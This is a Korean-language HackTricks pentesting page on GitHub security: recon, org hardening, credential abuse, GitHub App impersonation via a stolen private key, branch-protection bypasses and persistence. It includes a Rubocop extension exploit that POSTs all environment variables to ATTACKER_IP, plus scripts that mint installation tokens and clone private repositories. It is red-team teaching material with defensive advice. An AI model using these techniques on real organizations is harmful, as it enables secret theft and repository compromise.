Github Security

Reading time: 16 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

What is Github

(From here) At a high level, GitHub는 개발자가 코드를 저장하고 관리하며 코드 변경 사항을 추적하고 제어하는 데 도움을 주는 웹사이트이자 클라우드 기반 서비스입니다.

Basic Information

Basic Github Information

External Recon

Github 리포지토리는 공개, 비공개 및 내부로 구성할 수 있습니다.

  • 비공개조직의 사람들만 접근할 수 있음을 의미합니다.
  • 내부기업의 사람들만 접근할 수 있음을 의미합니다 (기업은 여러 조직을 가질 수 있습니다).
  • 공개모든 인터넷 사용자가 접근할 수 있음을 의미합니다.

대상으로 삼고자 하는 사용자, 리포지토리 또는 조직을 알고 있다면 github dorks를 사용하여 민감한 정보를 찾거나 각 리포지토리에서 민감한 정보 유출을 검색할 수 있습니다.

Github Dorks

Github는 사용자, 리포지토리 또는 조직을 범위로 지정하여 무언가를 검색할 수 있게 합니다. 따라서 민감한 정보 근처에 나타날 문자열 목록을 사용하여 대상에서 잠재적인 민감한 정보를 쉽게 검색할 수 있습니다.

도구 (각 도구는 자신의 dorks 목록을 포함합니다):

Github Leaks

github dorks는 github 검색 옵션을 사용하여 유출을 검색하는 데에도 사용됩니다. 이 섹션은 각 리포지토리를 다운로드하고 그 안에서 민감한 정보를 검색하는 도구에 전념하고 있습니다 (특정 커밋 깊이를 확인하기도 함).

도구 (각 도구는 자신의 regex 목록을 포함합니다):

이 페이지를 확인하세요: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

warning

리포지토리에서 유출을 찾고 git log -p와 같은 명령을 실행할 때 비밀이 포함된 다른 커밋이 있는 다른 브랜치가 있을 수 있음을 잊지 마세요!

External Forks

풀 리퀘스트를 악용하여 리포지토리를 손상시킬 수 있습니다. 리포지토리가 취약한지 확인하려면 주로 Github Actions yaml 구성을 읽어야 합니다. 아래에서 더 많은 정보.

Github Leaks in deleted/internal forks

삭제되었거나 내부에 있더라도 github 리포지토리의 포크에서 민감한 데이터를 얻는 것이 가능할 수 있습니다. 여기에서 확인하세요:

Accessible Deleted Data in Github

Organization Hardening

Member Privileges

조직의 구성원에게 할당할 수 있는 기본 권한이 있습니다. 이는 https://github.com/organizations/<org_name>/settings/member_privileges 페이지 또는 Organizations API에서 제어할 수 있습니다.

  • 기본 권한: 구성원은 조직 리포지토리에 대해 None/Read/write/Admin 권한을 가집니다. 권장되는 것은 None 또는 Read입니다.
  • 리포지토리 포크: 필요하지 않다면 구성원이 조직 리포지토리를 포크하는 것을 허용하지 않는 것이 좋습니다.
  • 페이지 생성: 필요하지 않다면 구성원이 조직 리포지토리에서 페이지를 게시하는 것을 허용하지 않는 것이 좋습니다. 필요하다면 공개 또는 비공개 페이지 생성을 허용할 수 있습니다.
  • 통합 접근 요청: 이 기능이 활성화되면 외부 협력자가 이 조직 및 그 자원에 접근하기 위해 GitHub 또는 OAuth 앱에 대한 접근을 요청할 수 있습니다. 일반적으로 필요하지만, 필요하지 않다면 비활성화하는 것이 좋습니다.
  • 이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요.
  • 리포지토리 가시성 변경: 활성화되면 리포지토리에 대한 admin 권한을 가진 구성원가시성을 변경할 수 있습니다. 비활성화되면 조직 소유자만 리포지토리 가시성을 변경할 수 있습니다. 사람들이 공개로 만들지 않기를 원한다면 이 기능이 비활성화되어 있는지 확인하세요.
  • 이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요.
  • 리포지토리 삭제 및 전송: 활성화되면 리포지토리에 대한 admin 권한을 가진 구성원이 공개 및 비공식 리포지토리삭제하거나 전송할 수 있습니다.
  • 이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요.
  • 구성원이 팀을 생성할 수 있도록 허용: 활성화되면 조직의 구성원이 새로운 생성할 수 있습니다. 비활성화되면 조직 소유자만 새로운 팀을 생성할 수 있습니다. 이 기능은 비활성화하는 것이 좋습니다.
  • 이 정보는 API 응답에서 찾을 수 없었습니다. 아는 분은 공유해 주세요.
  • 더 많은 설정을 구성할 수 있지만 이전 항목들이 보안과 관련된 것들입니다.

Actions Settings

여러 보안 관련 설정을 https://github.com/organizations/<org_name>/settings/actions 페이지에서 구성할 수 있습니다.

note

모든 설정은 각 리포지토리에서 독립적으로 설정할 수 있습니다.

  • Github actions 정책: 어떤 리포지토리가 워크플로를 실행할 수 있는지, 어떤 워크플로가 허용되어야 하는지를 지정할 수 있습니다. 허용해야 할 리포지토리를 지정하고 모든 작업이 실행되지 않도록 하는 것이 좋습니다.
  • API-1, API-2
  • 외부 협력자의 포크 풀 리퀘스트 워크플로: 모든 외부 협력자에게 승인을 요구하는 것이 좋습니다.
  • 이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요.
  • 포크 풀 리퀘스트에서 워크플로 실행: 풀 리퀘스트에서 워크플로를 실행하는 것은 강력히 권장되지 않습니다. 포크 출처의 유지 관리자가 소스 리포지토리에 대한 읽기 권한이 있는 토큰을 사용할 수 있게 됩니다.
  • 이 정보에 대한 API를 찾을 수 없었습니다. 아는 분은 공유해 주세요.
  • 워크플로 권한: 읽기 리포지토리 권한만 부여하는 것이 강력히 권장됩니다. GITHUB_TOKEN이 실행 중인 워크플로에 부여되는 것을 방지하기 위해 쓰기 및 풀 리퀘스트 생성/승인 권한을 부여하는 것은 권장되지 않습니다.
  • API

Integrations

이 정보에 접근할 수 있는 API 엔드포인트를 아는 분은 알려주세요!

  • 타사 애플리케이션 접근 정책: 모든 애플리케이션에 대한 접근을 제한하고 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후).
  • 설치된 GitHub Apps: 필요한 애플리케이션만 허용하는 것이 좋습니다 (검토 후).

Recon & Attacks abusing credentials

이 시나리오에서는 github 계정에 대한 접근을 얻었다고 가정합니다.

With User Credentials

조직 내 사용자에 대한 자격 증명이 있는 경우 로그인하여 기업 및 조직 역할을 확인할 수 있습니다. 일반 구성원인 경우 일반 구성원이 가진 권한, 그룹, 어떤 리포지토리에 대한 권한리포지토리 보호 방법을 확인하세요.

2FA가 사용될 수 있으므로 이 정보를 얻으려면 그 검사를 통과해야 합니다.

note

user_session 쿠키를 훔치는 데 성공하면 (현재 SameSite: Lax로 구성됨) 자격 증명이나 2FA 없이 사용자를 완전히 가장할 수 있습니다.

유용할 경우 브랜치 보호 우회 섹션을 확인하세요.

With User SSH Key

Github는 사용자SSH 키를 설정하여 자신의 이름으로 코드를 배포하는 인증 방법으로 사용할 수 있도록 허용합니다 (2FA가 적용되지 않음).

이 키를 사용하여 사용자가 일부 권한을 가진 리포지토리에서 변경을 수행할 수 있지만, github api에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 로컬 설정을 열거하여 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다:

bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list

사용자가 자신의 GitHub 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/<github_username>.keys_에서 그가 설정한 공개 키에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.

SSH 키배포 키로 저장소에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 저장소에서 프로젝트를 시작할 수 있습니다. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **~/.ssh/config**가 관련된 키에 대한 정보를 제공합니다.

GPG 키

여기에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다.

현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요:

shell
gpg --list-secret-keys --keyid-format=long

사용자 토큰으로

사용자 토큰에 대한 기본 정보를 확인하여 소개를 참조하세요.

사용자 토큰은 Git over HTTPS에 대해 비밀번호 대신 사용할 수 있으며, 기본 인증을 통해 API에 인증하는 데 사용할 수 있습니다. 부여된 권한에 따라 다양한 작업을 수행할 수 있습니다.

사용자 토큰은 다음과 같습니다: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

Oauth 애플리케이션으로

Github Oauth 애플리케이션에 대한 기본 정보를 확인하여 소개를 참조하세요.

공격자는 악성 Oauth 애플리케이션을 생성하여 피싱 캠페인의 일환으로 이를 수락하는 사용자들의 권한 있는 데이터/작업에 접근할 수 있습니다.

Oauth 애플리케이션이 요청할 수 있는 범위는 다음과 같습니다. 수락하기 전에 항상 요청된 범위를 확인해야 합니다.

또한, 기본 정보에서 설명한 바와 같이, 조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다 조직과 관련된 정보/레포지토리/작업에 대해.

Github 애플리케이션으로

Github 애플리케이션에 대한 기본 정보를 확인하여 소개를 참조하세요.

공격자는 악성 Github 애플리케이션을 생성하여 피싱 캠페인의 일환으로 이를 수락하는 사용자들의 권한 있는 데이터/작업에 접근할 수 있습니다.

또한, 기본 정보에서 설명한 바와 같이, 조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다 조직과 관련된 정보/레포지토리/작업에 대해.

개인 키(JWT → 설치 접근 토큰)로 GitHub 앱 가장하기

GitHub 앱의 개인 키(PEM)를 얻으면 모든 설치에서 앱을 완전히 가장할 수 있습니다:

  • 개인 키로 서명된 단기 JWT 생성
  • 설치를 나열하기 위해 GitHub 앱 REST API 호출
  • 설치에 부여된 레포지토리에 대해 목록화/복제/푸시하는 데 사용할 수 있는 설치별 접근 토큰 발행

요구 사항:

  • GitHub 앱 개인 키 (PEM)
  • GitHub 앱 ID (숫자). GitHub는 iss가 앱 ID여야 한다고 요구합니다.

JWT 생성 (RS256):

python
#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

인증된 앱에 대한 설치 목록:

bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

설치 액세스 토큰 생성 (유효 기간 ≤ 10분):

bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

토큰을 사용하여 코드에 접근하세요. x‑access‑token URL 형식을 사용하여 클론하거나 푸시할 수 있습니다:

bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

특정 조직을 타겟으로 하고 개인 저장소를 나열하는 프로그래밍 방식의 PoC (PyGithub + PyJWT):

python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

노트:

  • 설치 토큰은 앱의 리포지토리 수준 권한을 정확히 상속받습니다(예: contents: write, pull_requests: write)
  • 토큰은 ≤10분 후에 만료되지만, 개인 키를 유지하는 한 새로운 토큰을 무한정 발급할 수 있습니다.
  • JWT를 사용하여 REST API(GET /app/installations)를 통해 설치를 나열할 수도 있습니다.

Github Action의 타협 및 남용

Github Action을 타협하고 남용하는 여러 기술이 있습니다. 여기에서 확인하세요:

Abusing Github Actions

외부 도구를 실행하는 서드파티 GitHub Apps 남용 (Rubocop 확장 RCE)

일부 GitHub Apps 및 PR 리뷰 서비스는 리포지토리에서 제어하는 구성 파일을 사용하여 풀 리퀘스트에 대해 외부 린터/SAST를 실행합니다. 지원되는 도구가 동적 코드 로딩을 허용하는 경우, PR은 서비스의 러너에서 RCE를 달성할 수 있습니다.

예: Rubocop은 YAML 구성에서 확장을 로드하는 것을 지원합니다. 서비스가 리포지토리에서 제공된 .rubocop.yml을 통과시키면, 로컬 파일을 요구하여 임의의 Ruby를 실행할 수 있습니다.

  • 트리거 조건에는 일반적으로 다음이 포함됩니다:
  • 서비스에서 도구가 활성화되어 있음
  • PR에 도구가 인식하는 파일이 포함되어 있음 (Rubocop의 경우: .rb)
  • 리포지토리에 도구의 구성 파일이 포함되어 있음 (Rubocop은 .rubocop.yml을 어디서나 검색함)

PR의 익스플로잇 파일:

.rubocop.yml

yaml
require:
- ./ext.rb

ext.rb (환경 변수 추출 실행기):

ruby
require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

또한 linter가 실제로 실행되도록 충분히 큰 더미 Ruby 파일(예: main.rb)을 포함하세요.

실제 관찰된 영향:

  • linter를 실행한 프로덕션 러너에서 전체 코드 실행
  • 서비스에서 사용되는 GitHub App 비공개 키, API 키, DB 자격 증명 등과 같은 민감한 환경 변수의 유출
  • 유출된 GitHub App 비공개 키로 설치 토큰을 발급받고 해당 앱에 부여된 모든 리포지토리에 대한 읽기/쓰기 액세스를 얻을 수 있습니다(위의 GitHub App 가장에 대한 섹션 참조).

외부 도구를 실행하는 서비스에 대한 강화 지침:

  • 리포지토리 제공 도구 구성 파일을 신뢰할 수 없는 코드로 취급
  • 민감한 환경 변수가 마운트되지 않은 엄격하게 격리된 샌드박스에서 도구 실행
  • 최소 권한 자격 증명 및 파일 시스템 격리를 적용하고 인터넷 액세스가 필요하지 않은 도구에 대한 아웃바운드 네트워크 이gress를 제한/거부

브랜치 보호 우회

  • 승인 수 요구: 여러 계정을 손상시킨 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있는 경우 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 Github Action 환경에 액세스할 수 있는 경우 GITHUB_TOKEN을 사용하여 PR을 승인하고 이렇게 1개의 승인을 얻을 수 있습니다.
  • 이 점과 코드 소유자 제한에 대한 주의: 일반적으로 사용자는 자신의 PR을 승인할 수 없지만, 만약 그렇다면 이를 남용하여 자신의 PR을 수락할 수 있습니다.
  • 새 커밋이 푸시될 때 승인 취소: 이 설정이 되어 있지 않으면, 합법적인 코드를 제출하고 누군가가 승인할 때까지 기다린 후 악성 코드를 추가하고 보호된 브랜치에 병합할 수 있습니다.
  • 코드 소유자의 리뷰 요구: 이 설정이 활성화되고 코드 소유자인 경우 Github Action이 PR을 생성하고 자신이 직접 승인할 수 있습니다.
  • CODEOWNER 파일이 잘못 구성된 경우: Github은 불만을 제기하지 않지만 이를 사용하지 않습니다. 따라서 잘못 구성된 경우 코드 소유자 보호가 적용되지 않습니다.
  • 지정된 행위자가 풀 요청 요구 사항을 우회하도록 허용: 이러한 행위자 중 하나인 경우 풀 요청 보호를 우회할 수 있습니다.
  • 관리자 포함: 이 설정이 되어 있지 않으면 리포의 관리자인 경우 이 브랜치 보호를 우회할 수 있습니다.
  • PR 하이재킹: 다른 사람의 PR을 수정하여 악성 코드를 추가하고, 결과 PR을 승인하고 모든 것을 병합할 수 있습니다.
  • 브랜치 보호 제거: 리포의 관리자인 경우 보호를 비활성화하고 PR을 병합한 후 보호를 다시 설정할 수 있습니다.
  • 푸시 보호 우회: 리포가 특정 사용자만 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음, 와일드카드 * 지정).
  • 리포에 대한 쓰기 액세스가 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우, 여전히 새 브랜치를 생성하고 그 안에 코드가 푸시될 때 트리거되는 github action을 생성할 수 있습니다. 브랜치 보호는 브랜치가 생성될 때까지 보호하지 않으므로, 이 첫 번째 코드 푸시는 github action을 실행합니다.

환경 보호 우회

Github 환경에 대한 기본 정보를 참조하세요.

환경에 모든 브랜치에서 접근할 수 있는 경우, 보호되지 않으며 환경 내의 비밀에 쉽게 접근할 수 있습니다. 모든 브랜치가 보호된 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 *를 사용하여). 이 경우, 코드를 푸시할 수 있는 브랜치를 찾고 새로운 github action을 생성하여 비밀을 유출할 수 있습니다(또는 하나를 수정).

모든 브랜치가 보호된 경우(와일드카드 *를 통해) 브랜치에 코드를 푸시할 수 있는 사람이 지정되어 있으며 (_브랜치 보호에서 이를 지정할 수 있음) 사용자가 허용되지 않는 경우에도 여전히 사용자 정의 github action을 실행할 수 있습니다. 브랜치를 생성하고 그 자체에 대해 푸시 트리거를 사용할 수 있기 때문입니다. 브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 github action이 트리거됩니다.

yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

브랜치 생성 후 브랜치 보호가 새 브랜치에 적용되며 수정할 수 없지만, 그때까지 이미 비밀을 덤프했을 것입니다.

지속성

  • 사용자 토큰 생성
  • 비밀에서 github 토큰 탈취
  • 워크플로우 결과브랜치 삭제
  • 모든 조직에 더 많은 권한 부여
  • 정보를 유출하기 위한 웹훅 생성
  • 외부 협력자 초대
  • SIEM에서 사용되는 웹훅 제거
  • 백도어가 있는 Github Action 생성/수정
  • 비밀 값 수정을 통해 명령 주입에 취약한 Github Action 찾기

사기 커밋 - 레포 커밋을 통한 백도어

Github에서는 포크에서 레포에 PR을 생성할 수 있습니다. PR이 수락되지 않더라도, 원본 레포에 커밋 ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 레포 소유자가 생성하지 않은 것처럼 보이는 합법적인 레포에서 특정 커밋을 사용하도록 고정할 수 있습니다.

이와 같이:

yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

자세한 내용은 https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd에서 확인하세요.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기